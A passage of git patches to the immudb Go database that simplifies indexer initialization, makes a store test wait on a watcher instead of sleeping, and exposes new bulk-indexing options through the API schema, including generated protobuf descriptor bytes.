DefaultOptions().WithSyncFrequency(time.Duration(1)*time.Second)) require.NoError(t, err) + var wg sync.WaitGroup + wg.Add(1) + go func() { tx, err := store.NewWriteOnlyTx() require.NoError(t, err) @@ -678,13 +684,13 @@ func TestImmudbStoreEdgeCases(t *testing.T) { _, err = tx.AsyncCommit() require.ErrorIs(t, err, ErrAlreadyClosed) + + wg.Done() }() // wait for the tx to be waiting for sync to happen - time.Sleep(10 * time.Millisecond) - - injectedError = fmt.Errorf("Injected error %d", i) - checkApp.SyncFn = func() error { return injectedError } + err = store.inmemPrecommitWHub.WaitFor(1, nil) + require.NoError(t, err) err = store.Sync() require.ErrorIs(t, err, injectedError) @@ -692,6 +698,8 @@ func TestImmudbStoreEdgeCases(t *testing.T) { err = store.Close() require.NoError(t, err) + wg.Wait() + checkApp.SyncFn = func() error { return nil } } }) From e206c0a60d209c20917753cb12b285fc783d5e1e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 5 Jan 2023 00:52:37 -0300 Subject: [PATCH 0132/1062] chore(embedded/store): simplified indexer initialization Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 35 +------------------------- embedded/store/indexer.go | 46 +++++++++++++++++++++++++++++----- embedded/store/indexer_test.go | 5 ++-- embedded/store/options.go | 1 + 4 files changed, 44 insertions(+), 43 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index f2d526822d..77ccb48cc1 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -550,42 +550,9 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, err } - indexOpts := tbtree.DefaultOptions(). - WithReadOnly(opts.ReadOnly). - WithFileMode(opts.FileMode). - WithLogger(opts.logger). - WithFileSize(fileSize). - WithCacheSize(opts.IndexOpts.CacheSize). - WithFlushThld(opts.IndexOpts.FlushThld). - WithSyncThld(opts.IndexOpts.SyncThld). - WithFlushBufferSize(opts.IndexOpts.FlushBufferSize). - WithCleanupPercentage(opts.IndexOpts.CleanupPercentage). - WithMaxActiveSnapshots(opts.IndexOpts.MaxActiveSnapshots). - WithMaxNodeSize(opts.IndexOpts.MaxNodeSize). - WithMaxKeySize(opts.MaxKeyLen). - WithMaxValueSize(lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen). // indexed values - WithNodesLogMaxOpenedFiles(opts.IndexOpts.NodesLogMaxOpenedFiles). - WithHistoryLogMaxOpenedFiles(opts.IndexOpts.HistoryLogMaxOpenedFiles). - WithCommitLogMaxOpenedFiles(opts.IndexOpts.CommitLogMaxOpenedFiles). - WithRenewSnapRootAfter(opts.IndexOpts.RenewSnapRootAfter). - WithCompactionThld(opts.IndexOpts.CompactionThld). - WithDelayDuringCompaction(opts.IndexOpts.DelayDuringCompaction) - - err = indexOpts.Validate() - if err != nil { - store.Close() - return nil, fmt.Errorf("%w: invalid index options", err) - } - - if opts.appFactory != nil { - indexOpts.WithAppFactory(func(rootPath, subPath string, appOpts *multiapp.Options) (appendable.Appendable, error) { - return opts.appFactory(store.path, filepath.Join(indexDirname, subPath), appOpts) - }) - } - indexPath := filepath.Join(store.path, indexDirname) - store.indexer, err = newIndexer(indexPath, store, indexOpts, opts.MaxWaitees, opts.IndexOpts.MaxBulkSize, opts.IndexOpts.BulkPreparationTimeout) + store.indexer, err = newIndexer(indexPath, store, opts) if err != nil { store.Close() return nil, fmt.Errorf("could not open indexer: %w", err) diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 7f1ba94cd0..473bb76809 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -20,10 +20,13 @@ import ( "context" "crypto/sha256" "encoding/binary" + "fmt" "path/filepath" "sync" "time" + "github.com/codenotary/immudb/embedded/appendable" + "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/embedded/watchers" "github.com/prometheus/client_golang/prometheus" @@ -82,15 +85,46 @@ var ( }) ) -func newIndexer(path string, store *ImmuStore, indexOpts *tbtree.Options, maxWaitees int, maxBulkSize int, bulkPreparationTimeout time.Duration) (*indexer, error) { +func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) { + if store == nil { + return nil, fmt.Errorf("%w: nil store", ErrIllegalArguments) + } + + indexOpts := tbtree.DefaultOptions(). + WithReadOnly(opts.ReadOnly). + WithFileMode(opts.FileMode). + WithLogger(opts.logger). + WithFileSize(opts.FileSize). + WithCacheSize(opts.IndexOpts.CacheSize). + WithFlushThld(opts.IndexOpts.FlushThld). + WithSyncThld(opts.IndexOpts.SyncThld). + WithFlushBufferSize(opts.IndexOpts.FlushBufferSize). + WithCleanupPercentage(opts.IndexOpts.CleanupPercentage). + WithMaxActiveSnapshots(opts.IndexOpts.MaxActiveSnapshots). + WithMaxNodeSize(opts.IndexOpts.MaxNodeSize). + WithMaxKeySize(opts.MaxKeyLen). + WithMaxValueSize(lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen). // indexed values + WithNodesLogMaxOpenedFiles(opts.IndexOpts.NodesLogMaxOpenedFiles). + WithHistoryLogMaxOpenedFiles(opts.IndexOpts.HistoryLogMaxOpenedFiles). + WithCommitLogMaxOpenedFiles(opts.IndexOpts.CommitLogMaxOpenedFiles). + WithRenewSnapRootAfter(opts.IndexOpts.RenewSnapRootAfter). + WithCompactionThld(opts.IndexOpts.CompactionThld). + WithDelayDuringCompaction(opts.IndexOpts.DelayDuringCompaction) + + if opts.appFactory != nil { + indexOpts.WithAppFactory(func(rootPath, subPath string, appOpts *multiapp.Options) (appendable.Appendable, error) { + return opts.appFactory(store.path, filepath.Join(indexDirname, subPath), appOpts) + }) + } + index, err := tbtree.Open(path, indexOpts) if err != nil { return nil, err } var wHub *watchers.WatchersHub - if maxWaitees > 0 { - wHub = watchers.New(0, maxWaitees) + if opts.MaxWaitees > 0 { + wHub = watchers.New(0, opts.MaxWaitees) } tx, err := store.fetchAllocTx() @@ -98,7 +132,7 @@ func newIndexer(path string, store *ImmuStore, indexOpts *tbtree.Options, maxWai return nil, err } - kvs := make([]*tbtree.KVT, store.maxTxEntries*maxBulkSize) + kvs := make([]*tbtree.KVT, store.maxTxEntries*opts.IndexOpts.MaxBulkSize) for i := range kvs { // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd elen := lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen @@ -108,8 +142,8 @@ func newIndexer(path string, store *ImmuStore, indexOpts *tbtree.Options, maxWai indexer := &indexer{ store: store, tx: tx, - maxBulkSize: maxBulkSize, - bulkPreparationTimeout: bulkPreparationTimeout, + maxBulkSize: opts.IndexOpts.MaxBulkSize, + bulkPreparationTimeout: opts.IndexOpts.BulkPreparationTimeout, _kvs: kvs, path: path, index: index, diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index 6fbe4e1385..34a11c50b0 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -23,16 +23,15 @@ import ( "testing" "time" - "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/embedded/watchers" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestNewIndexerFailure(t *testing.T) { - indexer, err := newIndexer(t.TempDir(), nil, nil, 0, DefaultIndexingMaxBulkSize, DefaultBulkPreparationTimeout) + indexer, err := newIndexer(t.TempDir(), nil, nil) require.Nil(t, indexer) - require.ErrorIs(t, err, tbtree.ErrIllegalArguments) + require.ErrorIs(t, err, ErrIllegalArguments) } func TestClosedIndexerFailures(t *testing.T) { diff --git a/embedded/store/options.go b/embedded/store/options.go index 09a175226d..e4a65075a9 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -107,6 +107,7 @@ type Options struct { // Version of transaction header to use (limits available features) WriteTxHeaderVersion int + // Maximum number of go-routines waiting for specific transactions to be in a committed or indexed state MaxWaitees int TimeFunc TimeFunc From 68ee745a5bef3848d9399232fa2909b733278f44 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 5 Jan 2023 01:19:20 -0300 Subject: [PATCH 0133/1062] chore(pkg/api): expose new store indexing options Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/docs.md | 2 + pkg/api/schema/schema.pb.go | 1770 +++++++++++---------- pkg/api/schema/schema.proto | 6 + pkg/api/schema/schema.swagger.json | 8 + pkg/integration/database_creation_test.go | 4 + pkg/server/db_options.go | 44 +- 6 files changed, 950 insertions(+), 884 deletions(-) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 051975c44b..50aaea0f52 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -879,6 +879,8 @@ DualProof contains inclusion and consistency proofs for dual Merkle-Tree + L | commitLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneously opened commit log files | | flushBufferSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the in-memory flush buffer (in bytes) | | cleanupPercentage | [NullableFloat](#immudb.schema.NullableFloat) | | Percentage of node files cleaned up during each flush | +| maxBulkSize | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of transactions indexed together | +| bulkPreparationTimeout | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Maximum time waiting for more transactions to be committed and included into the same bulk | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index a90dfdddaf..a3b4a859fa 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -5862,6 +5862,10 @@ type IndexNullableSettings struct { FlushBufferSize *NullableUint32 `protobuf:"bytes,12,opt,name=flushBufferSize,proto3" json:"flushBufferSize,omitempty"` // Percentage of node files cleaned up during each flush CleanupPercentage *NullableFloat `protobuf:"bytes,13,opt,name=cleanupPercentage,proto3" json:"cleanupPercentage,omitempty"` + // Maximum number of transactions indexed together + MaxBulkSize *NullableUint32 `protobuf:"bytes,14,opt,name=maxBulkSize,proto3" json:"maxBulkSize,omitempty"` + // Maximum time waiting for more transactions to be committed and included into the same bulk + BulkPreparationTimeout *NullableMilliseconds `protobuf:"bytes,15,opt,name=bulkPreparationTimeout,proto3" json:"bulkPreparationTimeout,omitempty"` } func (x *IndexNullableSettings) Reset() { @@ -5987,6 +5991,20 @@ func (x *IndexNullableSettings) GetCleanupPercentage() *NullableFloat { return nil } +func (x *IndexNullableSettings) GetMaxBulkSize() *NullableUint32 { + if x != nil { + return x.MaxBulkSize + } + return nil +} + +func (x *IndexNullableSettings) GetBulkPreparationTimeout() *NullableMilliseconds { + if x != nil { + return x.BulkPreparationTimeout + } + return nil +} + type AHTNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9148,7 +9166,7 @@ var file_schema_proto_rawDesc = []byte{ 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, - 0x67, 0x22, 0xfb, 0x07, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x67, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, @@ -9211,727 +9229,737 @@ var file_schema_proto_rawDesc = []byte{ 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, - 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x22, - 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, - 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, - 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, - 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, - 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, - 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, - 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, - 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, - 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, + 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x5b, 0x0a, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, + 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, + 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, + 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, + 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, + 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, + 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, + 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, + 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, - 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, - 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, - 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, - 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, - 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, - 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, - 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, - 0x22, 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 